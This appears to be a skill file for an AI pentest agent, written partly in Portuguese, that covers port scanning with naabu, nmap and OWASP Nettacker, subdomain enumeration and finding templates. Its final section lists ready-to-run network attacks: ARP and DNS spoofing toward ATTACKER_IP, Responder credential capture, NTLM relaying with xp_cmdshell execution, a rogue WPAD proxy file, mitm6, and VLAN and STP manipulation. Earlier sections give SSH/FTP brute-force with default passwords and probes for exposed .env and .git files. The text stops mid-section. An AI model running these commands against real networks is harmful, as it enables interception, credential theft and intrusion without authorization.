Pentest Network Scanning

Network Scanning & Port Enumeration

🎯 pfSense Detection & Routing

IMPORTANTE: Se durante o scan de rede você identificar um alvo pfSense, ATIVE A SKILL pentest-pfsense imediatamente.

Indicadores de pfSense

# Web GUI detection
curl -skI https://TARGET | grep -iE "server:|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate"

# Nmap detection
nmap -sV -p 443 TARGET | grep -iE "nginx|pfsense"

# Shodan passive detection
shodan search "product:pfsense http.title:pfSense"

Sinais de Alerta

• Porta 443 com nginx e título "pfSense"
• Porta 22 com OpenSSH (versões específicas)
• Portas 1194 (OpenVPN), 500/4500 (IPSec)
• Porta 161 SNMP com OID pfSense
• Certificado SSL com CN=pfSense

Ação Imediata

# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para enumeração geral de rede
# Use pentest-pfsense para:
# - CVE verification específica
# - Command injection testing (interfaces_gif_edit.php, etc.)
# - Web GUI attack surface especializada
# - Post-exploitation em firewall

Objetivo

Realizar descoberta de hosts, enumeração de portas e mapeamento de superfície de ataque de rede usando Naabu como ferramenta primária, complementado por hping3 para técnicas de evasão.

Ferramenta Primária: Naabu

Naabu é um port scanner escrito em Go que realiza varreduras SYN/CONNECT/UDP de forma rápida e confiável.

Instalação e Verificação

# Verificar instalação
naabu -version

# Health check
naabu -health-check

Prerequisites

• Linux: libpcap-dev instalado (apt install -y libpcap-dev)
• Windows: Npcap instalado
• Mac: brew install libpcap
• Root privileges: Necessários para SYN scan (recomendado)

1. Quick Commands (PTES 2.5.4 - Active Footprinting)

Scan Básico

# Single host (top 100 ports)
naabu -host example.com

# Single host com saída silenciosa
naabu -host example.com -silent

# Múltiplos hosts
naabu -host example.com,google.com,192.168.1.1

# Lista de hosts
naabu -l hosts.txt

Scan de Portas Específicas

# Portas específicas
naabu -host example.com -p 80,443,8080,8443

# Range de portas
naabu -host example.com -p 1-1000

# Todas as portas (1-65535)
naabu -host example.com -p -

# Top ports
naabu -host example.com -tp 1000

# Excluir portas
naabu -host example.com -p - -ep 22,23

Scan por Tipo

# SYN scan (requer root) - mais rápido e stealth
naabu -host example.com -s SYN

# CONNECT scan (não requer root)
naabu -host example.com -s CONNECT

# UDP scan
naabu -host example.com -p u:53,u:161,u:123

# Payload customizado para UDP
naabu -host example.com -p u:53 -cp "DNS query"

Output e Formatos

# JSON output
naabu -host example.com -j -o output.json

# CSV output
naabu -host example.com -csv -o output.csv

# Texto simples
naabu -host example.com -o output.txt

# Pipe para outras ferramentas
naabu -host example.com -silent | httpx -silent

2. Host Discovery (PTES 2.5.4.1 - Ping Sweeps)

Técnicas de Host Discovery

# Apenas host discovery (sem port scan)
naabu -host 192.168.1.0/24 -sn

# ARP ping (rede local)
naabu -host 192.168.1.0/24 -sn -arp

# ICMP echo request
naabu -host 192.168.1.0/24 -sn -pe

# TCP SYN ping (portas específicas)
naabu -host 192.168.1.0/24 -sn -ps 80,443

# TCP ACK ping
naabu -host 192.168.1.0/24 -sn -pa 443

# ICMP timestamp
naabu -host 192.168.1.0/24 -sn -pp

# IPv6 neighbor discovery
naabu -host 2001:db8::/32 -sn -nd

# Combinar múltiplas probes
naabu -host 192.168.1.0/24 -sn -arp -pe -ps 80,443

Skip Host Discovery

# Pular host discovery, scan direto
naabu -host example.com -Pn

3. Advanced Scanning (PTES 2.5.4.8 - Port Scanning)

Rate Limiting e Performance

# Ajustar rate (packets/segundo)
naabu -host example.com -rate 1000

# Threads internas
naabu -host example.com -c 25

# Timeout
naabu -host example.com -timeout 5000

# Retries
naabu -host example.com -retries 3

# Warm-up time entre fases
naabu -host example.com -warm-up-time 2

IPv4/IPv6 Scanning

# Scan dual-stack (default)
naabu -host example.com

# Apenas IPv4
naabu -host example.com -iv 4

# Apenas IPv6
naabu -host example.com -iv 6

# Scan todos os IPs de um domínio
naabu -host example.com -sa

CDN/WAF Exclusion (PTES 2.5.4 - Active Footprinting)

# Excluir IPs de CDN (scan apenas 80,443)
naabu -host example.com -ec

# Excluir CDN e mostrar qual CDN está usando
naabu -host example.com -ec -cdn

# Suportados: Cloudflare, Akamai, Incapsula, Sucuri

Passive Port Discovery

# Shodan InternetDB (sem enviar pacotes)
naabu -host example.com -passive

# Combinar passive + active
naabu -host example.com -passive -p 80,443

4. Network Interface Configuration

Interface Selection

# Listar interfaces disponíveis
naabu -il

# Usar interface específica
naabu -host example.com -i eth0

# Source IP específico
naabu -host example.com -source-ip 192.168.1.100

# Source port específico
naabu -host example.com -source-port 54321

Proxy Support

# SOCKS5 proxy
naabu -host example.com -proxy 127.0.0.1:9050

# Proxy com autenticação
naabu -host example.com -proxy 127.0.0.1:9050 -proxy-auth user:pass

DNS Resolution

# Custom resolvers
naabu -host example.com -r 8.8.8.8,1.1.1.1

# Usar sistema DNS como fallback
naabu -host example.com -sr

# Ordem de resolução (p=proxy, l=local, lp=local+proxy, pl=proxy+local)
naabu -host example.com -dns-order pl

5. Nmap Integration (PTES 2.5.4 - Service Discovery)

Service Discovery com Nmap

# Executar nmap nos resultados
naabu -host example.com -nmap-cli 'nmap -sV -sC'

# Nmap output XML
naabu -host example.com -nmap-cli 'nmap -sV -oX nmap-output.xml'

# Service version detection
naabu -host example.com -nmap-cli 'nmap -sV -O'

# Script scanning
naabu -host example.com -nmap-cli 'nmap -sC --script vuln'

Service Discovery Nativo

# Service discovery
naabu -host example.com -sD

# Service version
naabu -host example.com -sV

# Combinar ambos
naabu -host example.com -sD -sV

6. Smart Scanning (PTES 3.1 - Vulnerability Testing)

Predictive Port Scanning

# Smart scan com modelo de correlação
naabu -host example.com -ss

# Ajustar threshold de confiança (0-100%)
naabu -host example.com -ss -pt 50

Verification Mode

# Verificar portas encontradas com TCP verification
naabu -host example.com -verify

# Ping probes para verificação de host
naabu -host example.com -ping

7. Stream Mode (PTES 2.5.4 - Large Scale Scanning)

Stream para Grandes Volumes

# Stream mode (sem resume, sem nmap, sem retries)
naabu -l targets.txt -stream -silent

# Stream com rate limiting
naabu -l targets.txt -stream -rate 500

8. Integration Workflows

Naabu + httpx (Web Server Discovery)

# Port scan → Web server detection
naabu -host example.com -silent | httpx -silent

# Com output JSON
naabu -host example.com -j | httpx -json

# Filtrar por porta específica
naabu -host example.com -p 80,443,8080 -silent | httpx -title -tech-detect

Naabu + Nuclei (Vulnerability Scanning)

# Port scan → Vulnerability scan
naabu -host example.com -silent | httpx -silent | nuclei -silent

# Scan específico para portas descobertas
naabu -host example.com -p 80,443 -j | jq -r '.ip' | nuclei -hosts -

Naabu + Subfinder (Full Recon)

# Subdomain enumeration → Port scan
subfinder -d example.com -silent | naabu -silent

# Com output formatado
subfinder -d example.com -silent | naabu -p 80,443 -silent | httpx -silent

Naabu + Masscan (Large Scale)

# Masscan para speed → Naabu para verification
masscan -p80,443 192.168.0.0/16 --rate 10000 -oL masscan.txt
cat masscan.txt | awk '{print $4}' | naabu -verify -silent

9. Comparison: Naabu vs hping3

Quando usar cada ferramenta:

Usar Naabu quando:

• Enumeração rápida de múltiplos hosts/portas
• Precisa de output estruturado (JSON/CSV)
• Integração com outras tools (httpx, nuclei)
• Scan de grandes ranges (CIDR)
• Precisa de CDN/WAF detection

Usar hping3 quando:

• Firewall stateless detectado
• Precisa de packet crafting customizado
• Testar regras específicas de firewall
• IDS/IPS evasion testing
• Fragmentation attacks

10. Template de Finding - Port Scanning

FINDING: NETWORK-RECONNAISSANCE-NAABU
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting

TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]

DESCRIPTION:
Port scanning via Naabu identificou [X] portas abertas
no alvo, expondo os seguintes serviços: [serviços]

EVIDENCE:
naabu -host [target] -p [ports] -silent
[Output do scan]

SERVICES DISCOVERED:
- Port 22: SSH
- Port 80: HTTP (nginx)
- Port 443: HTTPS (nginx)
- Port 3306: MySQL (interno exposto!)

RECOMMENDATIONS:
- Fechar portas não necessárias
- Implementar firewall rules
- Usar VPN para serviços internos
- Habilitar rate limiting

PTES REFERENCE: Section 2.5.4 (Active Footprinting)

Template de Finding - Serviço Exposto

FINDING: EXPOSED-SERVICE-[PORT]
CATEGORY: NETWORK_EXPOSURE
SEVERITY: [MEDIUM/HIGH/CRITICAL]

AFFECTED RESOURCE:
- IP/Hostname: [target]
- Port: [port]
- Service: [service name/version]

DESCRIPTION:
Serviço [service] exposto na porta [port] sem
restrições de acesso adequadas.

EVIDENCE:
naabu -host [target] -p [port] -silent
nmap -sV -p [port] [target]

IMPACT:
- [Descrever impacto potencial]

REMEDIATION:
1. Restringir acesso via security groups/firewall
2. Implementar autenticação
3. Mover para rede privada/VPN
4. Habilitar logging e monitoramento

PTES REFERENCE: Section 2.5.4, 3.1

11. Config File

Configuração Persistente (~/.config/naabu/config.yaml)

# Configuração padrão para todos os scans
rate: 1000
timeout: 1000
retries: 3
scan-type: SYN
ip-version:
  - "4"
  - "6"
exclude-cdn: true
output-cdn: true
json: true

12. Debug e Troubleshooting

Health Check

# Verificar se naabu está configurado corretamente
naabu -health-check

# Debug output
naabu -host example.com -debug

# Verbose output
naabu -host example.com -v

Common Issues

# "permission denied" → Usar CONNECT scan ou root
naabu -host example.com -s CONNECT

# "no valid ipv4/ipv6 targets" → Verificar DNS
naabu -host example.com -sr

# Rate limit issues → Reduzir rate
naabu -host example.com -rate 100

13. Integration with Existing Skills

Combined Workflow (PTES Phases)

PTES 2.5 - External Footprinting:
1. subfinder -d target.com | naabu -silent
2. naabu -host target.com -p - -ec
3. naabu results | httpx | nuclei

PTES 3.1 - Vulnerability Testing:
1. naabu -host target.com -ss (smart scan)
2. naabu -host target.com -nmap-cli 'nmap -sV --script vuln'

PTES 4.1 - Precision Strike:
1. naabu identifica portas abertas
2. hping3 testa firewall rules
3. headi testa HTTP header injection
4. Exploração baseada nos resultados

14. OWASP Nettacker Integration (PTES 2.5.4 - Active Footprinting)

Visão Geral do Nettacker

OWASP Nettacker é um framework Python-based de penetration testing automatizado que complementa Naabu e hping3 com:

• 106+ módulos de scan, vulnerabilidade e brute-force
• Port scanning com detecção de serviços
• Vulnerability scanning com 50+ CVE checks
• Subdomain enumeration integrado
• Web technology detection (Wappalyzer-based)
• Multiple output formats: HTML, JSON, CSV, SARIF
• REST API + Web UI para automação

Quando usar Nettacker vs Naabu

Use Nettacker quando:

• Precisa de vulnerability scanning integrado (CVE checks)
• Quer brute-force em serviços (FTP, SSH, HTTP auth)
• Precisa de subdomain enumeration + port scan em um comando
• Quer API REST para automação/integração
• Precisa de relatórios HTML formatados automaticamente

Use Naabu quando:

• Velocidade é crítica (grandes ranges)
• Já tem workflow com httpx + nuclei
• Precisa de CDN/WAF detection avançado
• Quer apenas port scanning rápido

Nettacker via Docker (Recomendado)

# Iniciar API + Web UI (já configurado neste projeto)
cd /opt/Tools/Nettacker
docker compose up -d

# Acessar Web UI
# https://localhost:5000
# API Key: mostrar em docker logs nettacker

# Health check
curl -k https://localhost:5000

Nettacker CLI via Docker

# Port scanning básico (1000 top ports)
docker run --rm owasp/nettacker -i target.com -m port_scan

# Todas as portas
docker run --rm owasp/nettacker -i target.com -m port_scan -g 1-65535

# Port scan + service detection
docker run --rm owasp/nettacker -i target.com -m port_scan --graph d3_tree_v2_graph -o report.html

# Subdomain enumeration + port scan
docker run --rm owasp/nettacker -i target.com -d -m port_scan

# Vulnerability scanning (50+ CVE checks)
docker run --rm owasp/nettacker -i target.com -m *_vuln

# Scan específico para CVEs críticas
docker run --rm owasp/nettacker -i target.com -m f5_cve_2020_5902_vuln,citrix_cve_2019_19781_vuln,log4j_cve_2021_44228_vuln

# Brute-force em serviços
docker run --rm owasp/nettacker -i target.com -m ftp_brute,ssh_brute,http_basic_auth_brute -u admin,root -p password,123456

# Admin panel discovery
docker run --rm owasp/nettacker -i target.com -m admin_scan

# Directory brute-force
docker run --rm owasp/nettacker -i target.com -m dir_scan

# WAF detection
docker run --rm owasp/nettacker -i target.com -m waf_scan

# WordPress scanning
docker run --rm owasp/nettacker -i target.com -m wordpress_version_scan,wp_plugin_scan,wp_xmlrpc_bruteforce_vuln

# Joomla scanning
docker run --rm owasp/nettacker -i target.com -m joomla_version_scan,joomla_user_enum_scan

# Drupal scanning
docker run --rm owasp/nettacker -i target.com -m drupal_version_scan,drupal_modules_scan

# SSL/TLS vulnerability scanning
docker run --rm owasp/nettacker -i target.com -m ssl_weak_cipher_vuln,ssl_version_vuln,heartbleed_vuln,ssl_expired_certificate_vuln

# HTTP security headers check
docker run --rm owasp/nettacker -i target.com -m clickjacking_vuln,content_security_policy_vuln,content_type_options_vuln,xss_protection_vuln

# GraphQL endpoint detection
docker run --rm owasp/nettacker -i target.com -m graphql_vuln

# Combinar múltiplos módulos
docker run --rm owasp/nettacker -i target.com -m port_scan,admin_scan,dir_scan,waf_scan,ssl_*_vuln -o report.html --graph d3_tree_v2_graph

# Scan em lista de targets
docker run --rm -v $(pwd)/targets.txt:/targets.txt owasp/nettacker -l /targets.txt -m port_scan

# Output em diferentes formatos
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.html
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.json
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.csv
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.sarif

Nettacker API Integration

# Obter API key dos logs
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')

# Submeter novo scan via API
curl -k -X POST "https://localhost:5000/new/scan" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${API_KEY}&targets=target.com&selected_modules=port_scan,admin_scan,vuln&report_path_filename=/tmp/report.html"

# Listar resultados
curl -k "https://localhost:5000/results/get_list?page=1" \
  -H "Cookie: key=${API_KEY}"

# Obter resultado específico
curl -k "https://localhost:5000/results/get?id=1" \
  -H "Cookie: key=${API_KEY}"

# Search hosts
curl -k "https://localhost:5000/logs/search?q=port_scan&page=1" \
  -H "Cookie: key=${API_KEY}"

# Obter resultado em JSON
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}"

# Obter resultado em HTML
curl -k "https://localhost:5000/logs/get_html?target=target.com&key=${API_KEY}" -o report.html

Nettacker Modules Reference

Scan Modules (Reconnaissance)

- port_scan: Open ports + service detection (1000 top ports)
- admin_scan: Admin panels (/admin, /wp-admin, /phpmyadmin)
- dir_scan: Directory brute-forcing
- subdomain_scan: Subdomain enumeration
- waf_scan: Web Application Firewall detection
- http_status_scan: HTTP status codes
- http_redirect_scan: HTTP redirects
- http_html_title_scan: HTML title extraction
- iceroute_version_scan: IceWarp version detection
- cups_version_scan: CUPS version on port 631
- web_technologies_scan: Tech stack detection (Wappalyzer)
- ssl_expiring_certificate_scan: SSL expiry check
- joomla_template_scan, joomla_user_enum_scan, joomla_version_scan
- wordpress_version_scan, wp_plugin_scan, wp_theme_scan, wp_timethumbs_scan
- drupal_version_scan, drupal_modules_scan, drupal_theme_scan
- viewdns_reverse_iplookup_scan: Reverse IP lookup

Vuln Modules (50+ CVE Checks)

Critical CVEs:
- f5_cve_2020_5902_vuln: F5 BIG-IP RCE (CVSS 9.8)
- citrix_cve_2019_19781_vuln: Citrix ADC RCE (CVSS 9.8)
- vbulletin_cve_2019_16759_vuln: vBulletin RCE (CVSS 9.8)
- msexchange_cve_2021_26855: ProxyLogon SSRF (CVSS 9.8)
- log4j_cve_2021_44228_vuln: Log4Shell RCE (CVSS 10.0)
- apache_struts_vuln: Struts RCE CVE-2017-5638 (CVSS 10.0)
- xdebug_rce_vuln: XDebug RCE (CVSS 10.0)

High Severity:
- citrix_cve_2023_24488_vuln: Citrix XSS
- sonicwall_sslvpn_cve_2024_53704_vuln: SonicWall SSLVPN
- ivanti_epmm_cve_2023_35082_vuln: Ivanti EPMM
- confluence_cve_2023_22515_vuln, confluence_cve_2023_22527_vuln
- grafana_cve_2021_43798_vuln
- joomla_cve_2023_23752_vuln

SSL/TLS:
- heartbleed_vuln: CVE-2014-0160
- ssl_weak_cipher_vuln: Weak cipher suites
- ssl_version_vuln: SSLv2/SSLv3 support
- ssl_expired_certificate_vuln: Expired certs
- ssl_signed_certificate_vuln: Self-signed certs

HTTP Security Headers:
- clickjacking_vuln: Missing X-Frame-Options
- content_security_policy_vuln: Missing CSP
- content_type_options_vuln: Missing X-Content-Type-Options
- xss_protection_vuln: Missing X-XSS-Protection
- server_version_vuln: Server banner leak
- x_powered_by_vuln: X-Powered-By leak
- http_cors_vuln: Overly permissive CORS
- http_cookie_vuln: Insecure cookie attributes
- strict_transport_security_vuln: Missing HSTS

Brute Modules

- ftp_brute: FTP authentication
- ssh_brute: SSH authentication
- smtp_brute: SMTP authentication
- telnet_brute: Telnet authentication
- http_basic_auth_brute: HTTP Basic Auth
- http_form_brute: HTTP form login
- http_ntlm_brute: HTTP NTLM auth
- wp_xmlrpc_brute: WordPress XMLRPC

Nettacker + pfSense Detection

# Detect pfSense via SSL certificate
docker run --rm owasp/nettacker -i pfsense-target.com -m ssl_expiring_certificate_scan,ssl_signed_certificate_vuln

# Web GUI detection
docker run --rm owasp/nettacker -i pfsense-target.com -m http_html_title_scan,web_technologies_scan

# Vulnerability scanning específico
docker run --rm owasp/nettacker -i pfsense-target.com -m clickjacking_vuln,content_security_policy_vuln,ssl_weak_cipher_vuln

# Combinar com nmap para version detection
docker run --rm owasp/nettacker -i pfsense-target.com -m port_scan,ssl_*_vuln,http_*_scan -o pfsense_report.html

Template de Finding - Nettacker Scan

FINDING: NETWORK-RECONNAISSANCE-NETTACKER
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting

TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]
- Vulnerabilidades detectadas: [lista]

DESCRIPTION:
OWASP Nettacker identificou [X] portas abertas, [Y] serviços,
e [Z] vulnerabilidades potenciais no alvo.

MODULES USED:
- port_scan: Network port enumeration
- admin_scan: Admin panel discovery
- *_vuln: CVE vulnerability checks
- waf_scan: WAF detection

EVIDENCE:
docker run --rm owasp/nettacker -i [target] -m [modules] -o report.json

OUTPUT FILES:
- report.html: Interactive HTML report with graphs
- report.json: Structured JSON data
- report.csv: Spreadsheet format
- report.sarif: SARIF format for SIEM integration

REMEDIATION:
[Based on specific findings from Nettacker modules]

PTES REFERENCE: Section 2.5.4 (Active Footprinting)

Nettacker Output Formats

# HTML Report (with interactive graph)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.html --graph d3_tree_v2_graph

# JSON (structured data)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan \
  -o /output/report.json

# CSV (spreadsheet)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan \
  -o /output/report.csv

# SARIF (SIEM/defect dojo)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.sarif

# DefectDojo compatible
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.dd.json

Nettacker Profiles

# Information gathering profile
docker run --rm owasp/nettacker -i target.com --profile information_gathering

# Vulnerability assessment profile
docker run --rm owasp/nettacker -i target.com --profile vulnerabilities

# High severity only
docker run --rm owasp/nettacker -i target.com --profile high_severity

# Backup services detection
docker run --rm owasp/nettacker -i target.com --profile backup

# Brute-force profile
docker run --rm owasp/nettacker -i target.com --profile brute

Nettacker Advanced Options

# Thread control
docker run --rm owasp/nettacker -i target.com -m port_scan -t 100 -M 20
# -t: threads per host
# -M: parallel module scan

# Timeout and retries
docker run --rm owasp/nettacker -i target.com -m port_scan -T 5 --retries 3

# Time sleep between requests (stealth)
docker run --rm owasp/nettacker -i target.com -m port_scan -w 1

# SOCKS proxy
docker run --rm owasp/nettacker -i target.com -m port_scan -R socks5://127.0.0.1:9050

# Custom user agent
docker run --rm owasp/nettacker -i target.com -m http_*_scan --user-agent "Mozilla/5.0"

# Custom HTTP headers
docker run --rm owasp/nettacker -i target.com -m http_*_scan -H "Authorization: Bearer token" -H "X-Custom: value"

# Verbose output
docker run --rm owasp/nettacker -i target.com -m port_scan -v 3

# Ping before scan
docker run --rm owasp/nettacker -i target.com -m port_scan --ping-before-scan

# Hardware usage control
docker run --rm owasp/nettacker -i target.com -m port_scan --set-hardware-usage low

Nettacker + Naabu Combined Workflow

# Phase 1: Naabu for fast port discovery
naabu -host target.com -p - -silent -o naabu_ports.txt

# Phase 2: Nettacker for vulnerability scanning on discovered ports
ports=$(cat naabu_ports.txt | grep -oE '[0-9]+' | tr '\n' ',' | sed 's/,$//')
docker run --rm -v $(pwd):/data owasp/nettacker \
  -i target.com -m *_vuln,admin_scan,waf_scan \
  -g "$ports" \
  -o /data/vuln_report.html

# Phase 3: Consolidate results
cat naabu_ports.txt
cat vuln_report.json | jq '.vulnerabilities'

15. Subdomain Enumeration & Asset Discovery (PTES 2.5.4 - Active Footprinting)

Técnicas de Subdomain Enumeration do Claude-OSINT

# Fonte primária: crt.sh (Certificate Transparency)
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Fallback chain se crt.sh falhar:
# 1. certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]'

# 2. DNSx com múltiplos resolvers
echo "target.com" | dnsx -silent -resp-only

# 3. Subfinder (passive sources)
subfinder -d target.com -silent

# 4. Amass (active + passive)
amass enum -passive -d target.com

Asset Graph Discipline (29 Tipos de Asset)

TIPOS DE ASSET:
1.  DOMAIN_REGISTRAR
2.  DOMAIN
3.  SUBDOMAIN
4.  ORIGIN_SERVER
5.  CDN_ENDPOINT
6.  WAF
7.  LOAD_BALANCER
8.  REVERSE_PROXY
9.  WEB_SERVER
10. API_GATEWAY
11. AUTH_SERVER
12. IDP (Identity Provider)
13. MAIL_SERVER
14. MX_RECORD
15. DNS_SERVER
16. CLOUD_BUCKET (S3, GCS, Azure)
17. CLOUD_FUNCTION
18. CONTAINER_REGISTRY
19. CI_CD_PIPELINE
20. GIT_REPOSITORY
21. DOCUMENTATION_SITE
22. ADMIN_PANEL
23. MONITORING_ENDPOINT
24. BACKUP_SERVER
25. DATABASE_SERVER
26. MESSAGE_QUEUE
27. CACHE_SERVER
28. FILE_STORAGE
29. THIRD_PARTY_INTEGRATION

Edge Taxonomy (Relacionamentos entre Assets)

EDGE TYPES:
- RESOLVES_TO: subdomain → IP
- HOSTS: IP → domain
- SERVES: server → content
- PROTECTS: WAF → origin
- CACHES: CDN → origin
- FORWARDS_TO: proxy → backend
- AUTHENTICATES: IdP → application
- STORES: bucket → data
- DEPLOYS: CI/CD → infrastructure
- MONITORS: monitoring → target
- BACKS_UP: backup → primary

WAF/CDN Bypass & Origin Discovery

# 1. DNS history (SecurityTrails, DNSHistory)
curl -s "https://api.securitytrails.com/v1/domain/target.com/history" \
  -H "APIKEY: $SECURITYTRAILS_KEY" | jq '.records[] | select(.type=="A")'

# 2. SSL certificate history (crt.sh)
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[] | "\(.before_value)|\(.issuer_name)"' | sort -u

# 3. Shodan search (sem enviar pacotes)
shodan search "ssl.cert.subject.cn:*.target.com" --fields ip_str,port,hostnames

# 4. Fullstack/developer endpoints (vazam origem)
curl -s "https://target.com/.git/config"
curl -s "https://target.com/.env"
curl -s "https://target.com/server-status"  # Apache mod_status

# 5. DNS enumeration com tentativas de bypass
for sub in www mail ftp api dev staging prod; do
  dig +short $sub.target.com @8.8.8.8
  dig +short $sub.target.com @1.1.1.1
done

Email Security Analysis (SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC)

# SPF Record
dig +short target.com TXT | grep -i "v=spf1"
# Analisar: ~all (softfail), -all (hardfail), ?all (neutral)
# Risco: include: terceiros não verificados

# DMARC Record
dig +short _dmarc.target.com TXT | grep -i "v=DMARC1"
# Analisar: p=none (monitor), p=quarantine, p=reject
# Risco: pct < 100 (política parcial)

# DKIM Selector Discovery
for selector in default google mailo selector1 _domainkey; do
  dig +short $selector._domainkey.target.com TXT
done

# BIMI Record (Brand Indicators)
dig +short default._bimi.target.com TXT

# MTA-STS
curl -s "https://mta-sts.target.com/.well-known/mta-sts.txt"

# DNSSEC
dig +dnssec target.com | grep -E "flags:|ad"

Template de Finding - Subdomain Takeover Risk

FINDING: SUBDOMAIN-TAKEOVER-RISK
CATEGORY: RECONNAISSANCE
SEVERITY: HIGH (se CNAME para serviço inexistente)
PTES: 2.5.4 - Active Footprinting

AFFECTED RESOURCE:
- Subdomain: [subdomain.target.com]
- CNAME: [apaga-servico.github.io / herokuapp.com / etc.]

DESCRIPTION:
O subdomain aponta para um serviço de terceiros que não
está mais provisionado, permitindo subdomain takeover.

EVIDENCE:
dig +short subdomain.target.com
# Retorna: CNAME para serviço inexistente

curl -s https://subdomain.target.com
# Retorna: 404 do serviço (GitHub Pages, Heroku, etc.)

REMEDIATION:
1. Remover DNS record ou
2. Provisionar o serviço no terceiro ou
3. Apontar para página de erro controlada

PTES REFERENCE: Section 2.5.4 (Active Footprinting)

16. NETWORK PROTOCOL ATTACKS (PTES 4.1 - Precision Strike)

16.1 ARP Spoofing — MitM Positioning

# arpspoof (dsniff suite) — Gratuitous ARP
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

16.2 Selective Targeting (Stealth)

# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

16.3 LLMNR / NBT-NS / mDNS Poisoning

# Responder — Credential Capture
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A

16.4 Captured Hash Formats

# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

# Relay instead of crack
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"

16.5 WPAD Abuse

# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture

# Manual WPAD PAC File
cat > wpad.dat << 'EOF'
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}
EOF

16.6 DHCPv6 Attack — mitm6

Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.

# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD

Key Conditions:

• SMB signing disabled on targets (for SMB relay)
• LDAP signing not enforced on DC (for LDAP relay)
• Domain Computers quota > 0 (for machine account creation, default: 10)

16.7 VLAN Hopping

# Switch Spoofing (DTP)
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up

# Double Tagging (802.1Q)
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")

16.8 STP Manipulation

# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM

# Topology Change Attack
yersinia stp -attack 1 -interface eth0
# Send TC (Topology Change) BPDUs → force MAC table flush → sniff traffic

16.9 DNS Spoofing

# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//

16.10 IPv6 Attacks

# Router Advertisement Spoofing
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64

# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect

# SLAAC Abuse
# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default

16.11 IDS/IPS Evasion Techniques

# fragroute — fragment and reorder packets
